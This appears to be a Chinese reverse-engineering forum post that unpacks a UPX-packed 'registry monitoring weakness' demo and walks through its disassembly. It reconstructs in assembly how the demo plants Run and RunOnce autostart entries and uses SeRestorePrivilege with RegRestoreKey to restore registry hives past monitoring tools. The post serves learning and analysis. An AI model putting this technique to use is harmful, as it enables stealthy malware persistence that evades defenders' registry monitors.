最近在做一个项目,搞到脑袋有点大了
,晕晕糊糊的~~最后还是以失败告终,没办法,技术不行啦,要跟看雪的各位大哥好好学学了~~
就拿它出出气,发泄一下心中的不爽~~呵呵
无意之上在一个叫什么程序员联合开发网上(其实感觉那个网很垃圾,还要收费什么的,上面的也没多少好东西,还不如看雪,靠!),看到一篇关于注册表的实例,就下下来看看,学习学习,结果我倒,竟然就一个光程序,没有源代码,
当时只想说,浪费了我一个同事在程序员联合网上的积分~~没办法,只有一个方法,知道它是怎么搞的就反汇编一下啦~~~最近在研究x86下的保护模式下的编程,有兴趣的读者可以加我QQ共同研究一下,诚心求高手指点一两~~好了,费话说了一大堆,正式进入主题了,我菜鸟一个,高手看到这篇文章就不要笑了,只是献给那些和我一样菜的人~~~
程序名称:注册表监控弱点演示程序V0.2
作者:xyzreg不知道是谁,管他呢
下面还有一个URL,和一个MSN
首先用OD载入源程序啦~~
00418260 Byp> 60 pushad
00418261 BE 00604100 mov esi,BypassRe.00416000
00418266 8DBE 00B0FEFF lea edi,dword ptr ds:[esi+FFFEB000]
0041826C 57 push edi
0041826D 83CD FF or ebp,FFFFFFFF
00418270 EB 10 jmp short BypassRe.00418282
00418272 90 nop
我倒,就这个屁大点的程序也加壳,一定是防止我等菜鸟的,老大们都不屑去分析这么小的程序的,那就用PEID看看是什么吧!!
结果查得加了UPX的壳:UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo
这个好脱吧!呵呵,相信搞过逆向的人看到这种壳,心中都有一个很爽的感觉,还好不是老王或VMProtect之类的壳,要不搞死人了!
大家可以用ESP定律脱,很简单一步到位,这里我想给大家强调一下的就是单步法!
当单步到下面的时候:
004183A3 83C3 04 add ebx,4
004183A6 ^ EB E1 jmp short BypassRe.00418389
004183A8 FF96 68E40100 call dword ptr ds:[esi+1E468]
在004183A6处有一个回跳,这时我们就要F4步过了,可是下面有一个CALL,这个CALL很关键,大家千万不要在JMP回跳后面的CALL上按F4,不然程序会跑飞,这是我要强调的一下,可以在它一行或几行按F4,就这样啦,呵呵,单步跟踪到下面
004183DA FFD5 call ebp
004183DC 58 pop eax
004183DD 61 popad
004183DE 8D4424 80 lea eax,dword ptr ss:[esp-80]
到这里大家可以又舒一口气了,很显然下面马上就要跳到OEP了,呵呵
004183E2 6A 00 push 0
004183E4 39C4 cmp esp,eax
004183E6 ^ 75 FA jnz short BypassRe.004183E2
004183E8 83EC 80 sub esp,-80
004183EB - E9 9C91FEFF jmp BypassRe.0040158C ---->跳到OEP处,呵呵
好了,这么个简单的脱壳花了大家这么长时间,真不好意思,脱壳就不用我讲了吧,可以用OD自带的或LoadPE,随便你啦,如果脱壳之后程序不能运行就修复一下就可以了,如果不懂的,参见我的以前写的一个成功助理的爆破,那里面讲的很清楚了!!
脱壳之后,下面就要开始分析整个程序的运行流程,以及代码结构了!!
我们先来看一下,程序运行之后是什么吧,简单熟悉一下界面,这样有助于我们逆向分析!!
好了,基本上这个程很简单,很清楚,用MFC做为程序的框架,然后利用一个消息循环处理各个BUTTON的事件处理,就这样很简单啦,那我就从头开始分析!
首先看一下,程序是怎么弹出一个对话框的,弹出对话框有两种DialogBoxParam模式的,还有一种CreateDialogParam,至于它用的哪一种我就不知道了,一个一个试吧,呵呵
首先下bp CreateDialogParamA,然后F9,运行之后断下来了,来到这里,这说明程序调用的是无模式的函数:CreateDialogParam呵呵
770A3E79 > 8BFF MOV EDI,EDI
770A3E7B 55 PUSH EBP
770A3E7C 8BEC MOV EBP,ESP
这里取消断点,然后按Alt+F9,返回,来到下面的地址处,此时,程序的界面已经弹出,只是还未显示
00401529 A3 20304000 MOV DWORD PTR DS:[403020],EAX
0040152E FF15 B0204000 CALL DWORD PTR DS:[<&USER32.CreateDialogParamA>] ; USER32.CreateDialogParamA
00401534 50 PUSH EAX ---->很显然程序会返回到这里,这我就不用多说了,CALL指令运行完之后会返回到它的那一条指令处....
00401535 FF15 AC204000 CALL DWORD PTR DS:[<&USER32.ShowWindow>] ; USER32.ShowWindow
0040153B 8B35 A8204000 MOV ESI,DWORD PTR DS:[<&USER32.GetMessageA>] ; USER32.GetMessageA
很明显下面就是显示窗口的函数,我们按F8单步运行一下看看!!
紧接着后面就是进行消息循环处理了........
是不是很熟悉的语句,我想学Windows程序设计的人第一天就会遇到这个,写一个窗口程序,就有这段代码
CreateDialogParamA--->ShowWindow--->GetMessageA--->....---->TranslateMessage--->...--->DispatchMessage,不过我们书上是用WNDCLASSEX创建一个窗口,这里的程序是用VC6.0写的,直接用调用了一个窗口,比较简单...具体的汇编代码如下:
00401541 6A 00 PUSH 0
00401543 6A 00 PUSH 0
00401545 6A 00 PUSH 0
00401547 8D4424 10 LEA EAX,DWORD PTR SS:[ESP+10]
0040154B 50 PUSH EAX
0040154C FFD6 CALL ESI ; 上面0040153B处把GetMessageA的地址压入到ESI中,在这里调用
0040154E 85C0 TEST EAX,EAX
00401550 74 2F JE SHORT Unpack.00401581
00401552 53 PUSH EBX ;将EBX压入堆栈用于保存下面DispatchMessageA的地址
00401553 8B1D A4204000 MOV EBX,DWORD PTR DS:[<&USER32.DispatchMessageA>] ; USER32.DispatchMessageA
00401559 57 PUSH EDI ;将EDI压入堆栈用于保存下面TranslateMessage的地址
0040155A 8B3D A0204000 MOV EDI,DWORD PTR DS:[<&USER32.TranslateMessage>] ; USER32.TranslateMessage
00401560 8D4C24 0C LEA ECX,DWORD PTR SS:[ESP+C] ;将消息指针参数传递给ECX
00401564 51 PUSH ECX ;然后将ECX压入堆栈,作为TranslateMessage的参数
00401565 FFD7 CALL EDI ;调用TranslateMessage函数进行消息循环
00401567 8D5424 0C LEA EDX,DWORD PTR SS:[ESP+C] ;下面的类似调用DispatchMessage......................
0040156B 52 PUSH EDX
0040156C FFD3 CALL EBX
0040156E 6A 00 PUSH 0 ;last message
00401570 6A 00 PUSH 0 ;first message
00401572 6A 00 PUSH 0 ;handle to window
00401574 8D4424 18 LEA EAX,DWORD PTR SS:[ESP+18] ;这里注意了是把消息循环参数传递给EAX,然后下面将EAX压入堆栈
00401578 50 PUSH EAX ;message information
00401579 FFD6 CALL ESI ;ESI很显然是调用0040153B处的GetMessageA函数
0040157B 85C0 TEST EAX,EAX
0040157D ^ 75 E1 JNZ SHORT Unpack.00401560
0040157F 5F POP EDI
00401580 5B POP EBX
00401581 8B4424 0C MOV EAX,DWORD PTR SS:[ESP+C]
00401585 5E POP ESI
00401586 83C4 1C ADD ESP,1C
00401589 C2 1000 RETN 10
以上这段反汇编很简单我用Win32汇编简单翻译一下啦~~
invoke CreateDialogParam,hInstance,NULL,NULL,lpDialogFunc,NULL ;---->这里我用lpDialogFunc表示调用的窗口过程,反汇编中是push Unpack.00401330,说明是调用00401330那一处的函数过程,呵呵!!接下来就是消息循环了,请看下面
.WHILE TRUE
invoke GetMessage,addr @stMsg,NULL,0,0
.break .if eax == 0
invoke TranslateMessage,addr @stMsg
invoke DispatchMessage,addr @stMsg
.ENDW
好了上面的反汇编代码就翻译成这样了,是不是很简单~~
下面我们就开始进入这个程序的最核心部分,也就是CreateDialogParam中调用的窗口消息循环的那个过程地址:00401330,在这里程序就开始工作了,呵呵!!
我们在00401330处下F2下断,然后F9运行程序,程序就断在了00401330处,这里我们的程序的主体窗口也出现了,就等消息循环了~~
00401330 8B4424 08 mov eax,dword ptr ss:[esp+8] ; 将消息循环参数传给EAX
00401334 83F8 10 cmp eax,10 ;比较EAX是否大于循环参数的最小值,就假定是ID号吧
00401337 0F84 C0010000 je Unpack.004014FD ;如果小于或等于就退出程序
0040133D 3D 11010000 cmp eax,111 ;比较EAX是否大于循环参数的最大值,我也看做是ID号吧
00401342 74 05 je short Unpack.00401349 ;如果大于或等于就直接返回,不作任何处理
00401344 33C0 xor eax,eax
00401346 C2 1000 retn 10
004014FD处代码如下:
004014FD 6A 01 push 1
004014FF FF15 34204000 call dword ptr ds:[<&kernel32.ExitPro>; kernel32.ExitProcess
这一段程序大家要好好分析一下了,具体的分析我都写在汇编代码的后面了,请大家仔细看下
有了上面的基础,下面我们就来一步一步分析各个消息循环都在做什么吧,呵呵
首先看下面这段代码,注释我都写的很清楚了,呵呵
00401349 8B4424 0C mov eax,dword ptr ss:[esp+C] ;将消息循环参数传给EAX
0040134D 66:3D FB03 cmp ax,3FB ;比较EAX是否等于特定按钮的ID号吧,我是这样认为的
00401351 75 6B jnz short Unpack.004013BE ;如果不等于,就去比较是否等于下一个按钮的ID号
--------->004013BE处的代码:004013BE 66:3D FC03 cmp ax,3FC ;同样是比较循环参数是否等于下一个按钮的ID号,呵呵
00401353 8D4424 08 lea eax,dword ptr ss:[esp+8] ;如果是就进行下面的写注册表操作
00401357 50 push eax
00401358 68 3F000F00 push 0F003F
0040135D 6A 00 push 0
0040135F 68 50214000 push Unpack.00402150 ; ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
00401364 68 02000080 push 80000002
00401369 FF15 24204000 call dword ptr ds:[<&ADVAPI32.RegOpen>; ADVAPI32.RegOpenKeyExA
0040136F 68 84254000 push Unpack.00402584 ; ASCII "test.exe"
00401374 FF15 30204000 call dword ptr ds:[<&kernel32.lstrlen>; kernel32.lstrlenA
0040137A 8B4C24 08 mov ecx,dword ptr ss:[esp+8]
0040137E 50 push eax
0040137F 68 84254000 push Unpack.00402584 ; ASCII "test.exe"
00401384 6A 01 push 1
00401386 6A 00 push 0
00401388 68 78254000 push Unpack.00402578
0040138D 51 push ecx
0040138E FF15 20204000 call dword ptr ds:[<&ADVAPI32.RegSetV>; ADVAPI32.RegSetValueExA
00401394 8B5424 08 mov edx,dword ptr ss:[esp+8]
00401398 52 push edx
00401399 FF15 1C204000 call dword ptr ds:[<&ADVAPI32.RegClos>; ADVAPI32.RegCloseKey
0040139F 8B4424 04 mov eax,dword ptr ss:[esp+4]
004013A3 6A 20 push 20
004013A5 68 70254000 push Unpack.00402570
004013AA 68 A0244000 push Unpack.004024A0
004013AF 50 push eax
004013B0 FF15 B4204000 call dword ptr ds:[<&USER32.MessageBo>; USER32.MessageBoxA
004013B6 B8 01000000 mov eax,1
004013BB C2 1000 retn 10
.data
lpszKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',0
dwValue db 'test.exe',0
.code
invoke RegOpenKeyEx,HEKY_LOCAL_MACHINE,lpszKey,NULL,KEY_SET_VALUE,addr @hKey
invoke lstrlen,addr dwValue
invoke RegSetValueEx,@hKey,szValueName,NULL,1,addr dwValue,eax
invoke RegCloseKey,@hKey
invoke MessageBox,NULL,addr szText,addr szCaption,MB_OK
上面的反汇编代码就翻译成这样,具本细节和一些常量只要改一下就可以,这里我就不改了,大家只要掌握方法就够了~~
接着后面有几段代码基本类似,我就不一一讲了,直接看反汇编代码基本就看明白了
00401469 66:3D 0004 cmp ax,400
0040146D 75 64 jnz short Unpack.004014D3
0040146F 8D5424 08 lea edx,dword ptr ss:[esp+8]
00401473 52 push edx
00401474 68 90234000 push Unpack.00402390 ; ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run"
00401479 68 02000080 push 80000002
0040147E FF15 00204000 call dword ptr ds:[<&ADVAPI32.RegCrea>; ADVAPI32.RegCreateKeyA
00401484 68 84254000 push Unpack.00402584 ; ASCII "test.exe"
00401489 FF15 30204000 call dword ptr ds:[<&kernel32.lstrlen>; kernel32.lstrlenA
0040148F 50 push eax
00401490 8B4424 0C mov eax,dword ptr ss:[esp+C]
00401494 68 84254000 push Unpack.00402584 ; ASCII "test.exe"
00401499 6A 01 push 1
0040149B 6A 00 push 0
0040149D 68 78254000 push Unpack.00402578
004014A2 50 push eax
004014A3 FF15 20204000 call dword ptr ds:[<&ADVAPI32.RegSetV>; ADVAPI32.RegSetValueExA
004014A9 8B4C24 08 mov ecx,dword ptr ss:[esp+8]
004014AD 51 push ecx
004014AE FF15 1C204000 call dword ptr ds:[<&ADVAPI32.RegClos>; ADVAPI32.RegCloseKey
004014B4 8B5424 04 mov edx,dword ptr ss:[esp+4]
004014B8 6A 20 push 20
004014BA 68 70254000 push Unpack.00402570
004014BF 68 90224000 push Unpack.00402290
004014C4 52 push edx
004014C5 FF15 B4204000 call dword ptr ds:[<&USER32.MessageBo>; USER32.MessageBoxA
004014CB B8 01000000 mov eax,1
004014D0 C2 1000 retn 10
上面的注册表操作可能就是程序中所说的一般注册表操作吧,这个谁都会,也什么好研究的我主要就是想看看它的特殊方法,请看下面那个反汇编代码
004013BE 66:3D FC03 cmp ax,3FC
004013C2 75 24 jnz short Unpack.004013E8
004013C4 E8 A7FDFFFF call Unpack.00401170
这里有一句是跳到00401170处执行,我们来看看00401170处是什么吧~~
00401170 83EC 08 sub esp,8
00401173 53 push ebx
00401174 56 push esi
00401175 57 push edi
00401176 68 90214000 push Unpack.00402190 ; ASCII "xyz"
0040117B 68 82000000 push 82
00401180 6A 00 push 0
00401182 FF15 38204000 call dword ptr ds:[<&kernel32.FindRes>; kernel32.FindResourceA ;首先是资源操作三部曲吧,先找到资源
00401188 8BF0 mov esi,eax
0040118A 56 push esi
0040118B 6A 00 push 0
0040118D FF15 3C204000 call dword ptr ds:[<&kernel32.SizeofR>; kernel32.SizeofResource ;然后是计算资源大小
00401193 56 push esi
00401194 6A 00 push 0
00401196 8BF8 mov edi,eax
00401198 FF15 40204000 call dword ptr ds:[<&kernel32.LoadRes>; kernel32.LoadResource ;装载资源
0040119E 6A 00 push 0
004011A0 6A 00 push 0
004011A2 6A 02 push 2
004011A4 6A 00 push 0
004011A6 6A 00 push 0
004011A8 68 00000040 push 40000000
004011AD 68 84214000 push Unpack.00402184 ; ASCII "c:\xyz.hiv"
004011B2 8BD8 mov ebx,eax
004011B4 FF15 44204000 call dword ptr ds:[<&kernel32.CreateF>; kernel32.CreateFileA ;创建文件
004011BA 6A 00 push 0
004011BC 8BF0 mov esi,eax
004011BE 8D4424 14 lea eax,dword ptr ss:[esp+14]
004011C2 50 push eax
004011C3 57 push edi
004011C4 53 push ebx
004011C5 FF15 4C204000 call dword ptr ds:[<&kernel32.LockRes>; kernel32.SetHandleCount ;锁定资源
004011CB 50 push eax
004011CC 56 push esi
004011CD FF15 50204000 call dword ptr ds:[<&kernel32.WriteFi>; kernel32.WriteFile ;将资源文件的内容写入到创建的文件中
004011D3 8B1D 48204000 mov ebx,dword ptr ds:[<&kernel32.Clos>; kernel32.CloseHandle ;关闭文件句柄
004011D9 56 push esi
004011DA FFD3 call ebx
004011DC 68 1C214000 push Unpack.0040211C ; ASCII "SeRestorePrivilege"
004011E1 E8 1AFEFFFF call Unpack.00401000 ;调用提权函数
004011E6 83C4 04 add esp,4
004011E9 8D4C24 0C lea ecx,dword ptr ss:[esp+C]
004011ED 51 push ecx
004011EE 68 50214000 push Unpack.00402150 ; ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
004011F3 68 02000080 push 80000002
004011F8 FF15 28204000 call dword ptr ds:[<&ADVAPI32.RegOpen>; ADVAPI32.RegOpenKeyA ;打开注册表
004011FE 8B3D 04204000 mov edi,dword ptr ds:[<&ADVAPI32.RegR>; ADVAPI32.RegRestoreKeyA ;将RegRestoreKeyA函数地址放到到EDI中
00401204 33F6 xor esi,esi ;ESI清零
00401206 EB 08 jmp short Unpack.00401210 ;转去调用RegResotreKey
00401208 8DA424 00000000 lea esp,dword ptr ss:[esp]
0040120F 90 nop
00401210 8B5424 0C mov edx,dword ptr ss:[esp+C]
00401214 6A 08 push 8 ;dwFlags
00401216 68 44214000 push Unpack.00402144 ; ASCII "C:\xyz.hiv" ;文件名
0040121B 52 push edx ;hKey值
0040121C FFD7 call edi ;调用RegResotreKey修改注册表
0040121E 85C0 test eax,eax
00401220 74 06 je short Unpack.00401228 ;如果调用成功
00401222 46 inc esi ;ESI加1
00401223 83FE 14 cmp esi,14 ;与十进制数20比较
00401226 ^ 7C E8 jl short Unpack.00401210 ;如果小于20,就重新进行RegRestoreKey操作
00401228 8B4424 0C mov eax,dword ptr ss:[esp+C]
0040122C 50 push eax
0040122D FFD3 call ebx ;调用关闭文件句柄
0040122F 68 84214000 push Unpack.00402184 ; ASCII "c:\xyz.hiv"
00401234 FF15 54204000 call dword ptr ds:[<&kernel32.DeleteF>; kernel32.DeleteFileA ;删除创建的文件
0040123A 5F pop edi
0040123B 5E pop esi
0040123C 5B pop ebx
0040123D 83C4 08 add esp,8
00401240 C3 retn
上面的这段代码也很简单,无非就是用到了资源,然后用资源去建设一个.hiv文件,然后用这个.hiv文件去操作注册表,呵呵看我分析就知道了~~
004011DC 68 1C214000 push Unpack.0040211C ; ASCII "SeRestorePrivilege"
004011E1 E8 1AFEFFFF call Unpack.00401000 ;调用提权函数
这里调用了提权函数,如下所示:
00401000 83EC 1C sub esp,1C
00401003 8D0424 lea eax,dword ptr ss:[esp]
00401006 50 push eax
00401007 6A 28 push 28
00401009 FF15 58204000 call dword ptr ds:[<&kernel32.GetCurr>; kernel32.GetCurrentProcess
0040100F 50 push eax
00401010 FF15 08204000 call dword ptr ds:[<&ADVAPI32.OpenPro>; ADVAPI32.OpenProcessToken
00401016 85C0 test eax,eax
00401018 74 6A je short Unpack.00401084
0040101A 8B5424 20 mov edx,dword ptr ss:[esp+20]
0040101E 8D4C24 04 lea ecx,dword ptr ss:[esp+4]
00401022 51 push ecx
00401023 52 push edx
00401024 6A 00 push 0
00401026 FF15 0C204000 call dword ptr ds:[<&ADVAPI32.LookupP>; ADVAPI32.LookupPrivilegeValueA
0040102C 85C0 test eax,eax
0040102E 75 0E jnz short Unpack.0040103E
00401030 8B0424 mov eax,dword ptr ss:[esp]
00401033 50 push eax
00401034 FF15 48204000 call dword ptr ds:[<&kernel32.CloseHa>; kernel32.CloseHandle
0040103A 83C4 1C add esp,1C
0040103D C3 retn
0040103E 8B4C24 04 mov ecx,dword ptr ss:[esp+4]
00401042 8B5424 08 mov edx,dword ptr ss:[esp+8]
00401046 6A 00 push 0
00401048 6A 00 push 0
0040104A 6A 10 push 10
0040104C 8D4424 18 lea eax,dword ptr ss:[esp+18]
00401050 50 push eax
00401051 894C24 20 mov dword ptr ss:[esp+20],ecx
00401055 8B4C24 10 mov ecx,dword ptr ss:[esp+10]
00401059 6A 00 push 0
0040105B 51 push ecx
0040105C C74424 24 010000>mov dword ptr ss:[esp+24],1
00401064 895424 2C mov dword ptr ss:[esp+2C],edx
00401068 C74424 30 020000>mov dword ptr ss:[esp+30],2
00401070 FF15 10204000 call dword ptr ds:[<&ADVAPI32.AdjustT>; ADVAPI32.AdjustTokenPrivileges
00401076 85C0 test eax,eax
00401078 75 0A jnz short Unpack.00401084
0040107A 8B1424 mov edx,dword ptr ss:[esp]
0040107D 52 push edx
0040107E FF15 48204000 call dword ptr ds:[<&kernel32.CloseHa>; kernel32.CloseHandle
00401084 83C4 1C add esp,1C
00401087 C3 retn
看到上面的反汇编代码,写过病毒或进程相关程序的一定是再熟悉不过了,我用Win32反汇编了一下上面的代码,如下所示:
_SetPrivilege proc uses esi edi ebx ebp lpszPrivilege:LPCTSTR, bEnablePrivilege:BOOL
local @tp:TOKEN_PRIVILEGES
local @luid:LUID
local @hToken:HANDLE
invoke GetCurrentProcess
mov esi, eax
invoke OpenProcessToken, esi, TOKEN_ADJUST_PRIVILEGES OR TOKEN_QUERY, addr @hToken
.if eax != 0
invoke LookupPrivilegeValue, NULL, lpszPrivilege, addr @luid
.if eax != 0
mov @tp.PrivilegeCount, 1
lea edi, @tp.Privileges[0].Luid
lea esi, @luid
mov ecx, sizeof LUID
rep movs BYTE PTR[edi], BYTE PTR[esi]
.if bEnablePrivilege
mov @tp.Privileges[0].Attributes, SE_PRIVILEGE_ENABLED
.else
mov @tp.Privileges[0].Attributes, 0
.endif
invoke AdjustTokenPrivileges, @hToken, FALSE, addr @tp, sizeof TOKEN_PRIVILEGES, NULL, NULL
.if eax == 0
invoke GetLastError
mov eax, FALSE
.else
mov eax, TRUE
.endif
.else
mov eax, FALSE
.endif
.endif
Ret
_SetPrivilege EndP
_Reg proc
invoke FindResource,NULL,addr ResourceName,RT_RCDATA
mov @Res,eax
invoke SizeofResource,NULL,@Res
mov @ResSize,eax
invoke LoadResource,NULL,@Res
mov @hResData,eax
invoke CreateFile,addr FileName,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
mov @hFile,eax
invoke LockResource,@hResData
invoke WriteFile,@hFile,addr @Buff,@ResSize,addr @NumberOfBytesWritten,NULL
invoke _SetPrivilege,addr RestorePrivilege
;接下来就是进行注册表操作了
invoke RegOpenKey,HKEY_LOCAL_MACHINE,lpSubKey,NULL
.WHILE esi <14
xor esi,esi
invoke RegRestoreKey,HKEY_LOCAL_MACHINE,lpFileName,REG_REFRESH_HIVE
.if eax == ERROR_SUCCESS
invoke CloseHandle,@hFile
invoke DeleteFile,lpFileName
.else
inc esi
.endif
.ENDW
ret
_Reg endp
就翻到这里吧,里面有些细节问题,大家自己编程时注意一下就行了,我这里主要是想了解一下本软件的作者说的另类注册表操作是什么样子的,呵呵,具体细节我就不注意了,人比较懒,没办法啦,呵呵~~
呵呵,有了上面的讲解,其实这个程序就这么完了,很简单,不是吗?还有几个消息循环就是直接把上面的名字改了一下,看下面的反汇编就行知了!
00401090 83EC 08 sub esp,8
00401093 53 push ebx
00401094 56 push esi
00401095 57 push edi
00401096 68 3C214000 push Unpack.0040213C ; ASCII "xyz2"
0040109B 68 84000000 push 84
004010A0 6A 00 push 0
004010A2 FF15 38204000 call dword ptr ds:[<&kernel32.FindRes>; kernel32.FindResourceA
004010A8 8BF0 mov esi,eax
004010AA 56 push esi
004010AB 6A 00 push 0
004010AD FF15 3C204000 call dword ptr ds:[<&kernel32.SizeofR>; kernel32.SizeofResource
004010B3 56 push esi
004010B4 6A 00 push 0
004010B6 8BF8 mov edi,eax
004010B8 FF15 40204000 call dword ptr ds:[<&kernel32.LoadRes>; kernel32.LoadResource
004010BE 6A 00 push 0
004010C0 6A 00 push 0
004010C2 6A 02 push 2
004010C4 6A 00 push 0
004010C6 6A 00 push 0
004010C8 68 00000040 push 40000000
004010CD 68 30214000 push Unpack.00402130 ; ASCII "c:\xyz2.hiv"
004010D2 8BD8 mov ebx,eax
004010D4 FF15 44204000 call dword ptr ds:[<&kernel32.CreateF>; kernel32.CreateFileA
004010DA 6A 00 push 0
004010DC 8BF0 mov esi,eax
004010DE 8D4424 14 lea eax,dword ptr ss:[esp+14]
004010E2 50 push eax
004010E3 57 push edi
004010E4 53 push ebx
004010E5 FF15 4C204000 call dword ptr ds:[<&kernel32.LockRes>; kernel32.SetHandleCount
004010EB 50 push eax
004010EC 56 push esi
004010ED FF15 50204000 call dword ptr ds:[<&kernel32.WriteFi>; kernel32.WriteFile
004010F3 8B1D 48204000 mov ebx,dword ptr ds:[<&kernel32.Clos>; kernel32.CloseHandle
004010F9 56 push esi
004010FA FFD3 call ebx
004010FC 68 1C214000 push Unpack.0040211C ; ASCII "SeRestorePrivilege"
00401101 E8 FAFEFFFF call Unpack.00401000
00401106 83C4 04 add esp,4
00401109 8D4C24 0C lea ecx,dword ptr ss:[esp+C]
0040110D 51 push ecx
0040110E 68 E8204000 push Unpack.004020E8 ; ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\policies"
00401113 68 02000080 push 80000002
00401118 FF15 28204000 call dword ptr ds:[<&ADVAPI32.RegOpen>; ADVAPI32.RegOpenKeyA
0040111E 8B3D 04204000 mov edi,dword ptr ds:[<&ADVAPI32.RegR>; ADVAPI32.RegRestoreKeyA
00401124 33F6 xor esi,esi
00401126 EB 08 jmp short Unpack.00401130
00401128 8DA424 00000000 lea esp,dword ptr ss:[esp]
0040112F 90 nop
00401130 8B5424 0C mov edx,dword ptr ss:[esp+C]
00401134 6A 08 push 8
00401136 68 DC204000 push Unpack.004020DC ; ASCII "C:\xyz2.hiv"
0040113B 52 push edx
0040113C FFD7 call edi
0040113E 85C0 test eax,eax
00401140 74 06 je short Unpack.00401148
00401142 46 inc esi
00401143 83FE 14 cmp esi,14
00401146 ^ 7C E8 jl short Unpack.00401130
00401148 8B4424 0C mov eax,dword ptr ss:[esp+C]
0040114C 50 push eax
0040114D FFD3 call ebx
0040114F 68 30214000 push Unpack.00402130 ; ASCII "c:\xyz2.hiv"
00401154 FF15 54204000 call dword ptr ds:[<&kernel32.DeleteF>; kernel32.DeleteFileA
0040115A 5F pop edi
0040115B 5E pop esi
0040115C 5B pop ebx
0040115D 83C4 08 add esp,8
00401160 C3 retn
呵呵xyz改成xyz2,然后把注册表项的位置改了一下,所用到的技术和上面的一样!!!
00401250 83EC 08 sub esp,8
00401253 53 push ebx
00401254 56 push esi
00401255 57 push edi
00401256 68 AC214000 push Unpack.004021AC ; ASCII "non"
0040125B 68 83000000 push 83
00401260 6A 00 push 0
00401262 FF15 38204000 call dword ptr ds:[<&kernel32.FindRes>; kernel32.FindResourceA
00401268 8BF0 mov esi,eax
0040126A 56 push esi
0040126B 6A 00 push 0
0040126D FF15 3C204000 call dword ptr ds:[<&kernel32.SizeofR>; kernel32.SizeofResource
00401273 56 push esi
00401274 6A 00 push 0
00401276 8BF8 mov edi,eax
00401278 FF15 40204000 call dword ptr ds:[<&kernel32.LoadRes>; kernel32.LoadResource
0040127E 6A 00 push 0
00401280 6A 00 push 0
00401282 6A 02 push 2
00401284 6A 00 push 0
00401286 6A 00 push 0
00401288 68 00000040 push 40000000
0040128D 68 A0214000 push Unpack.004021A0 ; ASCII "c:\non.hiv"
00401292 8BD8 mov ebx,eax
00401294 FF15 44204000 call dword ptr ds:[<&kernel32.CreateF>; kernel32.CreateFileA
0040129A 6A 00 push 0
0040129C 8BF0 mov esi,eax
0040129E 8D4424 14 lea eax,dword ptr ss:[esp+14]
004012A2 50 push eax
004012A3 57 push edi
004012A4 53 push ebx
004012A5 FF15 4C204000 call dword ptr ds:[<&kernel32.LockRes>; kernel32.SetHandleCount
004012AB 50 push eax
004012AC 56 push esi
004012AD FF15 50204000 call dword ptr ds:[<&kernel32.WriteFi>; kernel32.WriteFile
004012B3 8B1D 48204000 mov ebx,dword ptr ds:[<&kernel32.Clos>; kernel32.CloseHandle
004012B9 56 push esi
004012BA FFD3 call ebx
004012BC 68 1C214000 push Unpack.0040211C ; ASCII "SeRestorePrivilege"
004012C1 E8 3AFDFFFF call Unpack.00401000
004012C6 83C4 04 add esp,4
004012C9 8D4C24 0C lea ecx,dword ptr ss:[esp+C]
004012CD 51 push ecx
004012CE 68 50214000 push Unpack.00402150 ; ASCII "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
004012D3 68 02000080 push 80000002
004012D8 FF15 28204000 call dword ptr ds:[<&ADVAPI32.RegOpen>; ADVAPI32.RegOpenKeyA
004012DE 8B3D 04204000 mov edi,dword ptr ds:[<&ADVAPI32.RegR>; ADVAPI32.RegRestoreKeyA
004012E4 33F6 xor esi,esi
004012E6 EB 08 jmp short Unpack.004012F0
004012E8 8DA424 00000000 lea esp,dword ptr ss:[esp]
004012EF 90 nop
004012F0 8B5424 0C mov edx,dword ptr ss:[esp+C]
004012F4 6A 08 push 8
004012F6 68 94214000 push Unpack.00402194 ; ASCII "C:\non.hiv"
004012FB 52 push edx
004012FC FFD7 call edi
004012FE 85C0 test eax,eax
00401300 74 06 je short Unpack.00401308
00401302 46 inc esi
00401303 83FE 14 cmp esi,14
00401306 ^ 7C E8 jl short Unpack.004012F0
00401308 8B4424 0C mov eax,dword ptr ss:[esp+C]
0040130C 50 push eax
0040130D FFD3 call ebx
0040130F 68 A0214000 push Unpack.004021A0 ; ASCII "c:\non.hiv"
00401314 FF15 54204000 call dword ptr ds:[<&kernel32.DeleteF>; kernel32.DeleteFileA
0040131A 5F pop edi
0040131B 5E pop esi
0040131C 5B pop ebx
0040131D 83C4 08 add esp,8
00401320 C3 retn
呵呵,xyz改成了non,无语~~~~
到此这个程序就基本上分析完毕了~~~很简单是不是,呵呵,其实反汇编并不难,对于初学反汇编的人来说就像我一样,经常找一些小的软件看看它是怎么样实现的,这样一步一步来,变变的向大的软件发展,这样你就可以掌握反汇编的精髓了,其实说来说去还是我的那句老话,反汇编的路很长,如果你没有坚持下去的信念,如果你想一步登天,我给你一个更好的建议去卖茶叶蛋,那样似乎更实在一些~~~
后记:这个软件很简音,用到的技术也一般般,还夸张的说的那么牛,其实不就是一个RegRestoreKey函数吗?这是我的见解也是不完全对,请高手指点一两,我还有一个问题就是反汇编出来为什么会有那么多的???,这个我就搞不明白了,我也不知道作者是怎么搞的~~
0040BC73 01C0 ADD EAX,EAX
0040BC75 0000 ADD BYTE PTR DS:[EAX],AL
0040BC77 03FF ADD EDI,EDI
0040BC79 FFFF ??? ; 未知命令
0040BC7B FFFF ??? ; 未知命令
0040BC7D FFFF ??? ; 未知命令
0040BC7F FFFF ??? ; 未知命令
0040BC81 FFFF ??? ; 未知命令
0040BC83 FFFF ??? ; 未知命令
0040BC85 FFFF ??? ; 未知命令
0040BC87 FF28 JMP FAR FWORD PTR DS:[EAX] ; 远跳转
0040BC89 0000 ADD BYTE PTR DS:[EAX],AL
0040BC8B 0010 ADD BYTE PTR DS:[EAX],DL
0040BC8D 0000 ADD BYTE PTR DS:[EAX],AL
0040BC8F 0020 ADD BYTE PTR DS:[EAX],AH
0040BC91 0000 ADD BYTE PTR DS:[EAX],AL
0040BC93 0001 ADD BYTE PTR DS:[ECX],AL
0040CD5D FFFF ??? ; 未知命令
0040CD5F FFFB ??? ; 未知命令
0040CD61 FFFF ??? ; 未知命令
0040CD63 FFFC ??? ; 未知命令
0040CD65 FFFF ??? ; 未知命令
0040CD67 FFF9 ??? ; 未知命令
0040CD69 FFFF ??? ; 未知命令
